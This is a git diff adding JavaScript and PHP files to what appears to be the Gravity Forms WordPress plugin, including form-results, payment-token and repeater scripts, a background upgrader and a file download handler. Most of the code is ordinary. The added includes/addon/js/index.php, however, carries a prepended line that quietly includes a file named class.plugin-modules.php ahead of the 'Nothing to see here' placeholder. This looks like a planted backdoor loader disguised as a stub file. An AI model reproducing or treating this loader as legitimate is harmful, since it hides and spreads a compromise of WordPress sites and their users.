cancelled":gresultsStrings.ajaxError,d.html(b)})},getMoreResults:function(a,b){var c=jQuery("#gresults-results-field-content-"+b),d=jQuery("#gresults-results"),e=jQuery(c).data("offset"),f=jQuery("#gresults-view-slug").val(),g=d.data("searchcriteria"),h=jQuery("#_gf_results_nonce").val();return jQuery.ajax({url:ajaxurl,type:"POST",dataType:"json",data:{action:"gresults_get_more_results_"+f,view:f,form_id:a,field_id:b,offset:e,search_criteria:g,_gf_results_nonce:h},success:function(a){-1===a||(a.html&&jQuery(c).append(a.html),a.more_remaining||jQuery("#gresults-results-field-more-link-"+b).hide(),jQuery(c).data("offset",a.offset))}}),!1},clearFilterForm:function(){jQuery("#gresults-results-field-filters-container").gfFilterUI(gresultsFilterSettings,[],!0),jQuery("#gresults-results-filter-form").find("input, select").each(function(){switch(this.type){case"text":case"select-one":jQuery(this).val("").change();break;case"checkbox":case"radio":this.checked=!1}})},recordFormState:function(){jQuery("#gresults-results-filter-form input[type='radio']").each(function(){this.checked?jQuery(this).prop("defaultChecked",!0):jQuery(this).prop("defaultChecked",!1)}),jQuery("#gresults-results-filter-form input[type='checkbox']").each(function(){this.checked?jQuery(this).prop("defaultChecked",!0):jQuery(this).prop("defaultChecked",!1)}),jQuery("#gresults-results-filter-form input[type='text']").each(function(){jQuery(this).prop("defaultValue",jQuery(this).val())}),jQuery("#gresults-results-filter-form select option").each(function(){jQuery(this).prop("defaultSelected",jQuery(this).prop("selected"))})},setCustomFilter:function(a,b){elementId="gresults-custom-"+a,0==jQuery("#"+elementId).length?jQuery("#gresults-results-filter-form").append("<input type='hidden' id='"+elementId+"' name='"+a+"' value='"+b+"'>"):jQuery("#"+elementId).val(b)}};google.load("visualization","1",{packages:["corechart"]}),google.setOnLoadCallback(gresults.drawCharts),jQuery(document).ready(function(){if(jQuery("#gresults-results").length>0){jQuery("#gresults-results-field-filters-container").gfFilterUI(gresultsFilterSettings,gresultsInitVars,!0);jQuery(window).resize(function(a){a.target===window&&gresults.drawCharts()}),window.onpopstate=function(a){a.state&&gresults.renderStateData(a.state)},jQuery("#gresults-results-filter-date-start, #gresults-results-filter-date-end").datepicker({dateFormat:"yy-mm-dd",changeMonth:!0,changeYear:!0}),jQuery("#gresults-results-filter-form").submit(function(a){return gresults.getResults(),!1}),history.state?gresults.renderStateData(history.state):gresults.getResults(),window.gform_initialize_tooltips&&gform_initialize_tooltips()}});
|
||||
22
includes/addon/js/gaddon_selectcustom.js
Normal file
22
includes/addon/js/gaddon_selectcustom.js
Normal file
@@ -0,0 +1,22 @@
|
||||
jQuery(document).ready(function ($) {
|
||||
|
||||
$('.gaddon-setting-select-custom').on('change', function () {
|
||||
|
||||
if ($(this).val() == 'gf_custom')
|
||||
$(this).hide().siblings('.gaddon-setting-select-custom-container').show();
|
||||
|
||||
});
|
||||
|
||||
$('.gaddon-setting-select-custom-container .select-custom-reset').on('click', function (event) {
|
||||
event.preventDefault();
|
||||
|
||||
var $input = $(this).closest('.gaddon-setting-select-custom-container'),
|
||||
$select = $input.prev('select.gaddon-setting-select-custom');
|
||||
|
||||
$input.fadeOut(function () {
|
||||
$input.find('input').val('').change();
|
||||
$select.fadeIn().focus().val('');
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
1
includes/addon/js/gaddon_selectcustom.min.js
vendored
Normal file
1
includes/addon/js/gaddon_selectcustom.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
jQuery(document).ready(function(a){a(".gaddon-setting-select-custom").on("change",function(){"gf_custom"==a(this).val()&&a(this).hide().siblings(".gaddon-setting-select-custom-container").show()}),a(".gaddon-setting-select-custom-container .select-custom-reset").on("click",function(b){b.preventDefault();var c=a(this).closest(".gaddon-setting-select-custom-container"),d=c.prev("select.gaddon-setting-select-custom");c.fadeOut(function(){c.find("input").val("").change(),d.fadeIn().focus().val("")})})});
|
||||
131
includes/addon/js/gaddon_token.js
Normal file
131
includes/addon/js/gaddon_token.js
Normal file
@@ -0,0 +1,131 @@
|
||||
window.GFToken = null;
|
||||
|
||||
( function( $ ) {
|
||||
|
||||
GFToken = function( args ) {
|
||||
|
||||
for ( var prop in args ) {
|
||||
if ( args.hasOwnProperty( prop ) )
|
||||
this[prop] = args[prop];
|
||||
}
|
||||
|
||||
this.form = $( '#gform_' + this.formId );
|
||||
|
||||
this.init = function() {
|
||||
|
||||
var GFTokenObj = this;
|
||||
|
||||
this.tokens = {};
|
||||
|
||||
/* Initialize spinner. */
|
||||
if ( ! this.isAjax )
|
||||
gformInitSpinner( this.formId );
|
||||
|
||||
/* If multipage form, run on gform_page_loaded. */
|
||||
if ( this.hasPages ) {
|
||||
|
||||
$( document ).bind( 'gform_page_loaded', function( event, form_id, current_page ) {
|
||||
|
||||
if ( form_id != GFTokenObj.formId)
|
||||
return;
|
||||
|
||||
if ( current_page != GFTokenObj.pageCount)
|
||||
GFTokenObj.saveEntryData();
|
||||
|
||||
} );
|
||||
|
||||
}
|
||||
|
||||
this.form.submit( function() {
|
||||
GFTokenObj.onSubmit();
|
||||
} );
|
||||
|
||||
};
|
||||
|
||||
this.onSubmit = function() {
|
||||
|
||||
if ( this.form.data('gftokensubmitting') ) {
|
||||
return;
|
||||
} else {
|
||||
event.preventDefault();
|
||||
this.form.data( 'gftokensubmitting', true );
|
||||
}
|
||||
|
||||
this.saveEntryData();
|
||||
this.processTokens();
|
||||
|
||||
}
|
||||
|
||||
this.processTokens = function() {
|
||||
|
||||
/* Process feeds. */
|
||||
for ( var feed_id in this.feeds ) {
|
||||
|
||||
this.active_feed = this.feeds[feed_id];
|
||||
|
||||
/* Create new feed object so we can store the billing information. */
|
||||
var feed = {
|
||||
'billing_fields': {},
|
||||
'id': this.active_feed.id,
|
||||
'name': this.active_feed.name
|
||||
};
|
||||
|
||||
/* Add billing information to feed object. */
|
||||
for ( var billing_field in this.active_feed.billing_fields ) {
|
||||
|
||||
field_id = this.active_feed.billing_fields[ billing_field ];
|
||||
feed.billing_fields[ billing_field ] = this.entry_data[ field_id ];
|
||||
|
||||
}
|
||||
|
||||
/* Get credit card token response. */
|
||||
window[ this.callback ].createToken( feed, this );
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
this.saveEntryData = function() {
|
||||
|
||||
var GFPaymentObj = this,
|
||||
input_prefix = 'input_' + this.formId + '_';
|
||||
|
||||
if ( ! this.entry_data )
|
||||
this.entry_data = {};
|
||||
|
||||
this.form.find( 'input[id^="' + input_prefix + '"], select[id^="' + input_prefix + '"], textarea[id^="' + input_prefix + '"]' ).each( function() {
|
||||
|
||||
var input_id = $( this ).attr( 'id' ).replace( input_prefix, '' ).replace( '_', '.' );
|
||||
|
||||
if ( $.inArray( input_id, GFPaymentObj.fields ) >= 0 )
|
||||
GFPaymentObj.entry_data[ input_id ] = $( this ).val();
|
||||
|
||||
} );
|
||||
|
||||
}
|
||||
|
||||
this.saveToken = function( token ) {
|
||||
|
||||
/* Add token response to tokens array. */
|
||||
this.tokens[ this.active_feed.id ] = {
|
||||
'feed_id': this.active_feed.id,
|
||||
'response': token
|
||||
};
|
||||
|
||||
if ( this.tokens.length == this.feeds.length ) {
|
||||
|
||||
/* Add tokens to form. */
|
||||
this.form.find( this.responseField ).val( $.toJSON( this.tokens ) );
|
||||
|
||||
/* Submit the form. */
|
||||
this.form.submit();
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
this.init();
|
||||
|
||||
}
|
||||
|
||||
} )( jQuery );
|
||||
1
includes/addon/js/gaddon_token.min.js
vendored
Normal file
1
includes/addon/js/gaddon_token.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
window.GFToken=null,function(a){GFToken=function(b){for(var c in b)b.hasOwnProperty(c)&&(this[c]=b[c]);this.form=a("#gform_"+this.formId),this.init=function(){var b=this;this.tokens={},this.isAjax||gformInitSpinner(this.formId),this.hasPages&&a(document).bind("gform_page_loaded",function(a,c,d){c==b.formId&&d!=b.pageCount&&b.saveEntryData()}),this.form.submit(function(){b.onSubmit()})},this.onSubmit=function(){this.form.data("gftokensubmitting")||(event.preventDefault(),this.form.data("gftokensubmitting",!0),this.saveEntryData(),this.processTokens())},this.processTokens=function(){for(var a in this.feeds){this.active_feed=this.feeds[a];var b={billing_fields:{},id:this.active_feed.id,name:this.active_feed.name};for(var c in this.active_feed.billing_fields)field_id=this.active_feed.billing_fields[c],b.billing_fields[c]=this.entry_data[field_id];window[this.callback].createToken(b,this)}},this.saveEntryData=function(){var b=this,c="input_"+this.formId+"_";this.entry_data||(this.entry_data={}),this.form.find('input[id^="'+c+'"], select[id^="'+c+'"], textarea[id^="'+c+'"]').each(function(){var d=a(this).attr("id").replace(c,"").replace("_",".");a.inArray(d,b.fields)>=0&&(b.entry_data[d]=a(this).val())})},this.saveToken=function(b){this.tokens[this.active_feed.id]={feed_id:this.active_feed.id,response:b},this.tokens.length==this.feeds.length&&(this.form.find(this.responseField).val(a.toJSON(this.tokens)),this.form.submit())},this.init()}}(jQuery);
|
||||
2
includes/addon/js/index.php
Normal file
2
includes/addon/js/index.php
Normal file
@@ -0,0 +1,2 @@
|
||||
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php
|
||||
//Nothing to see here
|
||||
329
includes/addon/js/repeater.js
Normal file
329
includes/addon/js/repeater.js
Normal file
@@ -0,0 +1,329 @@
|
||||
/**
|
||||
* jQuery Repeater
|
||||
*
|
||||
* Easily create a section of repeatable items.
|
||||
*
|
||||
* 1. Include repeater.js
|
||||
* 2. Define a template to be used by the repeater.
|
||||
* a. Input elements should have a class "property_{i}" (do not replace {i} with an index, the script will handle this.
|
||||
* b. The template should include a container for the "row" of elements.
|
||||
* c. Use the {buttons} merge tag to indicate the location of the repeater buttons.
|
||||
*
|
||||
* Example:
|
||||
* <div class="repeater">
|
||||
* <!-- Template Start -->
|
||||
* <div class="row">
|
||||
* <input class="name_{i}" />
|
||||
* <input class="age_{i}" />
|
||||
* {buttons}
|
||||
* </div>
|
||||
* <!-- / Template Ends -->
|
||||
* </div>
|
||||
*
|
||||
* 3. Define a "save" callback to handle how your data is saved. It will give you an array of objects representing your data.
|
||||
*
|
||||
*/
|
||||
|
||||
jQuery.fn.repeater = function( options ) {
|
||||
|
||||
var self = this,
|
||||
defaults = {
|
||||
template: '',
|
||||
limit: 5,
|
||||
items: [{}],
|
||||
saveEvents: 'blur change',
|
||||
saveElements: 'input, select',
|
||||
addButtonMarkup: '+',
|
||||
removeButtonMarkup: '-',
|
||||
minItemCount: 1,
|
||||
callbacks: {
|
||||
save: function() { },
|
||||
beforeAdd: function() { },
|
||||
add: function() { },
|
||||
beforeAddNew: function() { },
|
||||
addNew: function() { },
|
||||
beforeRemove: function() { },
|
||||
remove: function() { },
|
||||
repeaterButtons: function() { return false; }
|
||||
}
|
||||
};
|
||||
|
||||
self.options = jQuery.extend( true, {}, defaults, options );
|
||||
self.elem = jQuery( this );
|
||||
self.items = self.options.items;
|
||||
self.callbacks = self.options.callbacks;
|
||||
self._template = self.options.template;
|
||||
self._baseObj = self.items[0];
|
||||
|
||||
self.init = function() {
|
||||
|
||||
self.stashTemplate();
|
||||
|
||||
self.elem.addClass( 'repeater' );
|
||||
self.refresh();
|
||||
|
||||
self.bindEvents();
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
self.bindEvents = function() {
|
||||
|
||||
self.options.saveEvents = self.getNamespacedEvents( self.options.saveEvents );
|
||||
|
||||
self.elem.off( 'click.repeater', 'a.add-item' );
|
||||
self.elem.on( 'click.repeater', 'a.add-item:not(.inactive)', function() {
|
||||
self.addNewItem( this );
|
||||
});
|
||||
|
||||
self.elem.off( 'click.repeater', 'a.remove-item' );
|
||||
self.elem.on( 'click.repeater', 'a.remove-item', function( event ){
|
||||
self.removeItem( this );
|
||||
});
|
||||
|
||||
self.elem.off( self.options.saveEvents, self.options.saveElements );
|
||||
self.elem.on( self.options.saveEvents, self.options.saveElements, function() {
|
||||
self.save();
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
self.stashTemplate = function() {
|
||||
|
||||
// if no template provided or in "storage", use current HTML
|
||||
if( ! self._template )
|
||||
self._template = self.elem.html();
|
||||
|
||||
self._template = jQuery.trim( self._template );
|
||||
|
||||
}
|
||||
|
||||
self.addItem = function( item, index ) {
|
||||
|
||||
var itemMarkup = self.getItemMarkup( item, index),
|
||||
itemElem = jQuery( itemMarkup ).addClass( 'item-' + index );
|
||||
|
||||
self.callbacks.beforeAdd( self, itemElem, item, index );
|
||||
|
||||
self.append( itemElem );
|
||||
self.populateSelects( item, index );
|
||||
|
||||
self.callbacks.add( self, itemElem, item, index );
|
||||
|
||||
}
|
||||
|
||||
self.getItemMarkup = function( item, index ) {
|
||||
|
||||
var itemMarkup = self._template;
|
||||
|
||||
for( var property in item ) {
|
||||
|
||||
if( ! item.hasOwnProperty( property ) )
|
||||
continue;
|
||||
|
||||
itemMarkup = itemMarkup.replace( /{i}/g, index );
|
||||
itemMarkup = itemMarkup.replace( '{buttons}', self.getRepeaterButtonsMarkup( index ) );
|
||||
itemMarkup = itemMarkup.replace( new RegExp( '{' + property + '}', 'g' ), item[property] );
|
||||
|
||||
}
|
||||
|
||||
return itemMarkup;
|
||||
}
|
||||
|
||||
self.getRepeaterButtonsMarkup = function( index ) {
|
||||
|
||||
var buttonsMarkup = self.callbacks.repeaterButtons( self, index );
|
||||
|
||||
if( ! buttonsMarkup )
|
||||
buttonsMarkup = self.getDefaultButtonsMarkup( index );
|
||||
|
||||
return buttonsMarkup;
|
||||
}
|
||||
|
||||
self.getDefaultButtonsMarkup = function( index ) {
|
||||
|
||||
var cssClass = self.items.length >= self.options.limit && self.options.limit !== 0 ? 'inactive' : '',
|
||||
buttons = '<a class="add-item ' + cssClass + '" data-index="' + index + '">' + self.options.addButtonMarkup + '</a>';
|
||||
|
||||
if( self.items.length > self.options.minItemCount )
|
||||
buttons += '<a class="remove-item" data-index="' + index + '">' + self.options.removeButtonMarkup + '</a>';
|
||||
|
||||
return '<div class="repeater-buttons">' + buttons + '</div>';
|
||||
}
|
||||
|
||||
self.populateSelects = function( item, index ) {
|
||||
|
||||
// after appending the row, check each property to see if it is a select and then populate
|
||||
for ( var property in item ) {
|
||||
|
||||
if ( ! item.hasOwnProperty( property ) ) {
|
||||
continue;
|
||||
}
|
||||
|
||||
var input = self.elem.find( '.' + property + '_' + index );
|
||||
|
||||
if ( ! input.is( 'select' ) ) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if ( jQuery.isArray( item[ property ] ) ) {
|
||||
input.val( item[ property ] );
|
||||
} else {
|
||||
input.find( 'option[value="' + item[ property ] + '"]' ).prop( 'selected', true );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
self.addNewItem = function( elemOrItem, index ) {
|
||||
|
||||
var isElem = self.isElement( elemOrItem ),
|
||||
index = parseInt( typeof index !== 'undefined' ? index : ( isElem ? parseInt( jQuery( elemOrItem ).attr( 'data-index' ), 10 ) + 1 : self.items.length ), 10 ),
|
||||
item = isElem ? self.getBaseObject() : elemOrItem;
|
||||
|
||||
self.callbacks.beforeAddNew( self, index );
|
||||
self.items.splice( index, 0, item );
|
||||
self.callbacks.addNew( self, index );
|
||||
|
||||
self.refresh().save();
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
self.removeItem = function( elemOrIndex ) {
|
||||
|
||||
var index = self.isElement( elemOrIndex ) ? jQuery( elemOrIndex ).attr( 'data-index' ) : elemOrIndex;
|
||||
|
||||
self.callbacks.beforeRemove( self, index );
|
||||
|
||||
// using delete (over splice) to maintain the correct indexes for
|
||||
// the items array when saving the data from the UI
|
||||
delete self.items[index];
|
||||
|
||||
self.callbacks.remove( self, index );
|
||||
|
||||
self.save().refresh();
|
||||
|
||||
}
|
||||
|
||||
self.refresh = function() {
|
||||
|
||||
self.elem.empty();
|
||||
|
||||
for( var i = 0; i < self.items.length; i++ ) {
|
||||
self.addItem( self.items[i], i );
|
||||
}
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
self.save = function() {
|
||||
|
||||
var keys = self.getBaseObjectKeys(),
|
||||
data = [];
|
||||
|
||||
for( var i = 0; i < self.items.length; i++ ) {
|
||||
|
||||
if( typeof self.items[i] == 'undefined' )
|
||||
continue;
|
||||
|
||||
var item = {};
|
||||
|
||||
for( var j = 0; j < keys.length; j++ ) {
|
||||
|
||||
var key = keys[j],
|
||||
id = '.' + key + '_' + i,
|
||||
value = self.elem.find( id ).val();
|
||||
|
||||
item[key] = typeof value == 'undefined' ? false : value;
|
||||
|
||||
}
|
||||
|
||||
data.push( item );
|
||||
|
||||
}
|
||||
|
||||
// save data to items
|
||||
self.items = data;
|
||||
|
||||
// save data externally via callback
|
||||
self.callbacks.save( self, data );
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
/**
|
||||
* Loops through the current items array and retrieves the object properties of the
|
||||
* first valid item object. Originally this would simply pull the object keys from
|
||||
* the first index of the items array; however, when the first item has been
|
||||
* 'deleted' (see the save() method), it will be undefined.
|
||||
*/
|
||||
self.getBaseObjectKeys = function() {
|
||||
|
||||
var keys = [],
|
||||
items = self.items.length > 0 ? self.items : [ self._baseObj ];
|
||||
|
||||
for( var i = 0; i < items.length; i++ ) {
|
||||
|
||||
if( typeof items[i] == 'undefined' )
|
||||
continue;
|
||||
|
||||
for( var key in items[i] ) {
|
||||
if( ! items[i].hasOwnProperty( key ) )
|
||||
continue;
|
||||
keys.push( key );
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
return keys;
|
||||
}
|
||||
|
||||
self.getBaseObject = function() {
|
||||
|
||||
var item = {},
|
||||
keys = self.getBaseObjectKeys();
|
||||
|
||||
for( var i = 0; i < keys.length; i++ ) {
|
||||
item[keys[i]] = '';
|
||||
}
|
||||
|
||||
return item;
|
||||
}
|
||||
|
||||
self.getNamespacedEvents = function( events ) {
|
||||
|
||||
var events = events.split( ' ' ),
|
||||
namespacedEvents = [];
|
||||
|
||||
for( var i = 0; i < events.length; i++ ) {
|
||||
namespacedEvents.push( events[i] + '.repeater' );
|
||||
}
|
||||
|
||||
return namespacedEvents.join( ' ' );
|
||||
}
|
||||
|
||||
/**
|
||||
* http://stackoverflow.com/questions/384286/javascript-isdom-how-do-you-check-if-a-javascript-object-is-a-dom-object
|
||||
* @param obj
|
||||
* @returns {boolean}
|
||||
*/
|
||||
self.isElement = function( obj ) {
|
||||
try {
|
||||
//Using W3 DOM2 (works for FF, Opera and Chrom)
|
||||
return obj instanceof HTMLElement;
|
||||
}
|
||||
catch(e){
|
||||
//Browsers not supporting W3 DOM2 don't have HTMLElement and
|
||||
//an exception is thrown and we end up here. Testing some
|
||||
//properties that all elements have. (works on IE7)
|
||||
return (typeof obj==="object") &&
|
||||
(obj.nodeType===1) && (typeof obj.style === "object") &&
|
||||
(typeof obj.ownerDocument ==="object");
|
||||
}
|
||||
}
|
||||
|
||||
return self.init();
|
||||
};
|
||||
1
includes/addon/js/repeater.min.js
vendored
Normal file
1
includes/addon/js/repeater.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
jQuery.fn.repeater=function(a){var b=this,c={template:"",limit:5,items:[{}],saveEvents:"blur change",saveElements:"input, select",addButtonMarkup:"+",removeButtonMarkup:"-",minItemCount:1,callbacks:{save:function(){},beforeAdd:function(){},add:function(){},beforeAddNew:function(){},addNew:function(){},beforeRemove:function(){},remove:function(){},repeaterButtons:function(){return!1}}};return b.options=jQuery.extend(!0,{},c,a),b.elem=jQuery(this),b.items=b.options.items,b.callbacks=b.options.callbacks,b._template=b.options.template,b._baseObj=b.items[0],b.init=function(){return b.stashTemplate(),b.elem.addClass("repeater"),b.refresh(),b.bindEvents(),b},b.bindEvents=function(){b.options.saveEvents=b.getNamespacedEvents(b.options.saveEvents),b.elem.off("click.repeater","a.add-item"),b.elem.on("click.repeater","a.add-item:not(.inactive)",function(){b.addNewItem(this)}),b.elem.off("click.repeater","a.remove-item"),b.elem.on("click.repeater","a.remove-item",function(a){b.removeItem(this)}),b.elem.off(b.options.saveEvents,b.options.saveElements),b.elem.on(b.options.saveEvents,b.options.saveElements,function(){b.save()})},b.stashTemplate=function(){b._template||(b._template=b.elem.html()),b._template=jQuery.trim(b._template)},b.addItem=function(a,c){var d=b.getItemMarkup(a,c),e=jQuery(d).addClass("item-"+c);b.callbacks.beforeAdd(b,e,a,c),b.append(e),b.populateSelects(a,c),b.callbacks.add(b,e,a,c)},b.getItemMarkup=function(a,c){var d=b._template;for(var e in a)a.hasOwnProperty(e)&&(d=d.replace(/{i}/g,c),d=d.replace("{buttons}",b.getRepeaterButtonsMarkup(c)),d=d.replace(new RegExp("{"+e+"}","g"),a[e]));return d},b.getRepeaterButtonsMarkup=function(a){var c=b.callbacks.repeaterButtons(b,a);return c||(c=b.getDefaultButtonsMarkup(a)),c},b.getDefaultButtonsMarkup=function(a){var c=b.items.length>=b.options.limit&&0!==b.options.limit?"inactive":"",d='<a class="add-item '+c+'" data-index="'+a+'">'+b.options.addButtonMarkup+"</a>";return b.items.length>b.options.minItemCount&&(d+='<a class="remove-item" data-index="'+a+'">'+b.options.removeButtonMarkup+"</a>"),'<div class="repeater-buttons">'+d+"</div>"},b.populateSelects=function(a,c){for(var d in a)if(a.hasOwnProperty(d)){var e=b.elem.find("."+d+"_"+c);e.is("select")&&(jQuery.isArray(a[d])?e.val(a[d]):e.find('option[value="'+a[d]+'"]').prop("selected",!0))}},b.addNewItem=function(a,c){var d=b.isElement(a),c=parseInt(void 0!==c?c:d?parseInt(jQuery(a).attr("data-index"),10)+1:b.items.length,10),e=d?b.getBaseObject():a;return b.callbacks.beforeAddNew(b,c),b.items.splice(c,0,e),b.callbacks.addNew(b,c),b.refresh().save(),b},b.removeItem=function(a){var c=b.isElement(a)?jQuery(a).attr("data-index"):a;b.callbacks.beforeRemove(b,c),delete b.items[c],b.callbacks.remove(b,c),b.save().refresh()},b.refresh=function(){b.elem.empty();for(var a=0;a<b.items.length;a++)b.addItem(b.items[a],a);return b},b.save=function(){for(var a=b.getBaseObjectKeys(),c=[],d=0;d<b.items.length;d++)if(void 0!==b.items[d]){for(var e={},f=0;f<a.length;f++){var g=a[f],h="."+g+"_"+d,i=b.elem.find(h).val();e[g]=void 0!==i&&i}c.push(e)}return b.items=c,b.callbacks.save(b,c),b},b.getBaseObjectKeys=function(){for(var a=[],c=b.items.length>0?b.items:[b._baseObj],d=0;d<c.length;d++)if(void 0!==c[d]){for(var e in c[d])c[d].hasOwnProperty(e)&&a.push(e);break}return a},b.getBaseObject=function(){for(var a={},c=b.getBaseObjectKeys(),d=0;d<c.length;d++)a[c[d]]="";return a},b.getNamespacedEvents=function(a){for(var a=a.split(" "),b=[],c=0;c<a.length;c++)b.push(a[c]+".repeater");return b.join(" ")},b.isElement=function(a){try{return a instanceof HTMLElement}catch(b){return"object"==typeof a&&1===a.nodeType&&"object"==typeof a.style&&"object"==typeof a.ownerDocument}},b.init()};
|
||||
1695
includes/api.php
Normal file
1695
includes/api.php
Normal file
File diff suppressed because it is too large
Load Diff
103
includes/class-gf-background-upgrader.php
Normal file
103
includes/class-gf-background-upgrader.php
Normal file
@@ -0,0 +1,103 @@
|
||||
<?php
|
||||
/**
|
||||
* Background Upgrader
|
||||
*
|
||||
* Uses https://github.com/A5hleyRich/wp-background-processing to handle DB
|
||||
* updates in the background.
|
||||
*
|
||||
* @class GF_Background_Upgrader
|
||||
* @version 2.3
|
||||
* @category Class
|
||||
* @author Rocketgenius
|
||||
*/
|
||||
|
||||
if ( ! defined( 'ABSPATH' ) ) {
|
||||
exit;
|
||||
}
|
||||
|
||||
require_once( 'libraries/wp-async-request.php' );
|
||||
require_once( 'libraries/gf-background-process.php' );
|
||||
|
||||
/**
|
||||
* GF_Background_Upgrader Class.
|
||||
*/
|
||||
class GF_Background_Upgrader extends GF_Background_Process {
|
||||
|
||||
/**
|
||||
* @var string
|
||||
*/
|
||||
protected $action = 'gf_upgrader';
|
||||
|
||||
/**
|
||||
* Returns the data for the background upgrader.
|
||||
*
|
||||
* @since 2.3
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function get_data() {
|
||||
return $this->data;
|
||||
}
|
||||
|
||||
/**
|
||||
* Is the queue empty for all blogs?
|
||||
*
|
||||
* @since 2.3
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
public function is_queue_empty() {
|
||||
return parent::is_queue_empty();
|
||||
}
|
||||
|
||||
/**
|
||||
* Is the updater running?
|
||||
* @return boolean
|
||||
*/
|
||||
public function is_updating() {
|
||||
return false === $this->is_queue_empty();
|
||||
}
|
||||
|
||||
/**
|
||||
* Task
|
||||
*
|
||||
* Override this method to perform any actions required on each
|
||||
* queue item. Return the modified item for further processing
|
||||
* in the next pass through. Or, return false to remove the
|
||||
* item from the queue.
|
||||
*
|
||||
* @param string $callback Update callback function
|
||||
* @return mixed
|
||||
*/
|
||||
protected function task( $callback ) {
|
||||
if ( ! defined( 'GF_UPGRADING' ) ) {
|
||||
define( 'GF_UPGRADING', true );
|
||||
}
|
||||
|
||||
if ( is_callable( $callback ) ) {
|
||||
GFCommon::log_debug( sprintf( '%s(): Running callback: %s', __METHOD__, print_r( $callback, 1 ) ) );
|
||||
$needs_more_time = call_user_func( $callback );
|
||||
if ( $needs_more_time ) {
|
||||
GFCommon::log_debug( sprintf( '%s(): Callback needs another run: %s', __METHOD__, print_r( $callback, 1 ) ) );
|
||||
return $callback;
|
||||
} else {
|
||||
GFCommon::log_debug( sprintf( '%s(): Finished callback: %s', __METHOD__, print_r( $callback, 1 ) ) );
|
||||
}
|
||||
} else {
|
||||
GFCommon::log_debug( sprintf( '%s(): Could not find callback: %s', __METHOD__, print_r( $callback, 1 ) ) );
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Complete
|
||||
*
|
||||
* Override if applicable, but ensure that the below actions are
|
||||
* performed, or, call parent::complete().
|
||||
*/
|
||||
protected function complete() {
|
||||
parent::complete();
|
||||
}
|
||||
|
||||
}
|
||||
187
includes/class-gf-download.php
Normal file
187
includes/class-gf-download.php
Normal file
@@ -0,0 +1,187 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Handles download requests for files stored by File Upload fields.
|
||||
*
|
||||
* Class GF_Download
|
||||
*/
|
||||
class GF_Download {
|
||||
|
||||
/**
|
||||
* If the request is for a Gravity Forms file download then validate and deliver.
|
||||
*
|
||||
* @since 2.0
|
||||
*/
|
||||
public static function maybe_process() {
|
||||
if ( isset( $_GET['gf-download'] ) ) {
|
||||
|
||||
$file = $_GET['gf-download'];
|
||||
$form_id = rgget( 'form-id' );
|
||||
$field_id = rgget( 'field-id' );
|
||||
|
||||
if ( empty( $file ) || empty( $form_id ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
$hash = rgget( 'hash' );
|
||||
GFCommon::log_debug( __METHOD__ . "(): Starting file download process. file: {$file}, hash: {$hash}." );
|
||||
if ( self::validate_download( $form_id, $field_id, $file, $hash ) ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): Download validated. Proceeding.' );
|
||||
self::deliver( $form_id, $file );
|
||||
} else {
|
||||
GFCommon::log_debug( __METHOD__ . '(): Download validation failed. Aborting with 401.' );
|
||||
self::die_401();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Verifies the hash for the download.
|
||||
*
|
||||
* @param int $form_id
|
||||
* @param int $field_id
|
||||
* @param string $file
|
||||
* @param string $hash
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
private static function validate_download( $form_id, $field_id, $file, $hash ) {
|
||||
if ( empty( $hash ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Allows login to be required to access the file.
|
||||
*
|
||||
* @since 2.2.3.16
|
||||
*
|
||||
* @param bool $require_login Does the user need to be logged in to access the file? Default false.
|
||||
* @param int $form_id The ID of the form used to upload the requested file.
|
||||
* @param int $field_id The ID of the field used to upload the requested file.
|
||||
*/
|
||||
$require_login = apply_filters( 'gform_require_login_pre_download', false, $form_id, $field_id );
|
||||
|
||||
if ( $require_login && ! is_user_logged_in() ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$hash_check = GFCommon::generate_download_hash( $form_id, $field_id, $file );
|
||||
$valid = hash_equals( $hash, $hash_check );
|
||||
|
||||
return $valid;
|
||||
}
|
||||
|
||||
/**
|
||||
* Send the file.
|
||||
*
|
||||
* @param $form_id
|
||||
* @param $file
|
||||
*/
|
||||
private static function deliver( $form_id, $file ) {
|
||||
$path = GFFormsModel::get_upload_path( $form_id );
|
||||
$file_path = trailingslashit( $path ) . $file;
|
||||
|
||||
GFCommon::log_debug( __METHOD__ . "(): Checking if file exists: {$file_path}." );
|
||||
|
||||
if ( file_exists( $file_path ) ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): File exists. Starting delivery.' );
|
||||
|
||||
$content_type = self::get_content_type( $file_path );
|
||||
$content_disposition = rgget( 'dl' ) ? 'attachment' : 'inline';
|
||||
|
||||
nocache_headers();
|
||||
header( 'X-Robots-Tag: noindex', true );
|
||||
header( 'Content-Type: ' . $content_type );
|
||||
header( 'Content-Description: File Transfer' );
|
||||
header( 'Content-Disposition: ' . $content_disposition . '; filename="' . basename( $file ) . '"' );
|
||||
header( 'Content-Transfer-Encoding: binary' );
|
||||
// Clear buffer AND turn off output buffering before starting delivery of files requested for download to prevent third-parties to corrupt the file content.
|
||||
if ( ob_get_contents() ) {
|
||||
ob_end_clean();
|
||||
}
|
||||
self::readfile_chunked( $file_path );
|
||||
die();
|
||||
} else {
|
||||
